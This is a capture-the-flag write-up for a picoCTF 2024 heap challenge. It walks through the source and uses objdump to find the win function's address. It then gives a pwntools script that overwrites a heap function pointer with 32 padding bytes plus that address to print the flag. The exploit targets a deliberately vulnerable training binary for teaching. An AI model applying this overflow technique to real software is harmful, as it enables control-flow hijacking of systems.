Level: Medium
Tags: Binary Exploitation, picoCTF 2024, browser_webshell_solvable, heap
Author: ABRXS, PR1OR1TYQ
Description:
Can you handle function pointers?
Download the binary here.
Download the source here.
Hints:
1. Are you doing the right endianness?
Challenge link: https://play.picoctf.org/practice/challenge/435
We start by analysing the rather long C source code. First the main
function.
int main(void) {
// Setup
init();
int choice;
while (1) {
print_menu();
if (scanf("%d", &choice) != 1) exit(0);
switch (choice) {
case 1:
// print heap
print_heap();
break;
case 2:
write_buffer();
break;
case 3:
// print x
printf("\n\nx = %s\n\n", x);
fflush(stdout);
break;
case 4:
// Check for win condition
check_win();
break;
case 5:
// exit
return 0;
default:
printf("Invalid choice\n");
fflush(stdout);
}
}
}
Main basically does the following:
- Initialize the heap by calling the
init
function - Print the menu with the
print_menu
function - Read the menu choice, basically 1-4, and do different things based on the choice
The big difference compared to the previous heap challenge is that the check_win
function (menu choice 4) is "empty" and will call the address pointed to from the variable x
void check_win() { ((void (*)())*(int*)x)(); }
There is also a win
function that will print the flag for us
void win() {
// Print flag
char buf[FLAGSIZE_MAX];
FILE *fd = fopen("flag.txt", "r");
fgets(buf, FLAGSIZE_MAX, fd);
printf("%s\n", buf);
fflush(stdout);
exit(0);
}
Let's skip the rest of the source code for now and try out the binary.
Next, we run the binary
file chall
chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d5184d264ae0c1259ba3bb7a1e20fc348b4274b0, for GNU/Linux 3.2.0, with debug_info, not stripped
./chall
I have a function, I sometimes like to call it, maybe you should change it
1. Print Heap
2. Write to buffer
3. Print x
4. Print Flag
5. Exit
Enter your choice: 1
[*] Address -> Value
+-------------+-----------+
[*] 0x49e6b0 -> pico
+-------------+-----------+
[*] 0x49e6d0 -> bico
1. Print Heap
2. Write to buffer
3. Print x
4. Print Flag
5. Exit
Enter your choice:
As before, the difference between the memory positions is 32 bytes.
python -c "print(0x49e6d0 - 0x49e6b0)"
32
The variable x
is set to bico
and if we try to print the flag we get a segmentation fault since x
currently points to an invalid memory address.
Enter your choice: 3
x = bico
1. Print Heap
2. Write to buffer
3. Print x
4. Print Flag
5. Exit
Enter your choice: 4
zsh: segmentation fault ./chall
We need to know the memory address of the win
function in order to call it.
This can be done with objdump
objdump -D chall | grep win
00000000004011a0 <win>:
00000000004011f0 <check_win>:
So the win
function is at 0x4011a0
.
Next, we write a small python script with the help of pwntools to get the flag
#!/usr/bin/python
from pwn import *
SERVER = 'mimas.picoctf.net'
PORT = 56078
# Set output level (critical, error, warning, info, debug)
context.log_level = "info"
io = remote(SERVER, PORT)
# Select menu option 2 (Write to buffer)
io.sendlineafter(b"Enter your choice: ", b'2')
# Send payload
win_func = 0x4011a0
payload = 32 * b'A' + p64(win_func)
io.sendlineafter(b"Data for buffer: ", payload)
# Select menu option 4 (Print Flag)
io.sendlineafter(b"Enter your choice: ", b'4')
print(io.recvallS())
io.close()
Finally, we run the script and get the flag
~/python_venvs/pwntools/bin/python get_flag.py
[+] Opening connection to mimas.picoctf.net on port 61205: Done
[+] Receiving all data: Done (42B)
[*] Closed connection to mimas.picoctf.net port 61205
picoCTF{<REDACTED>}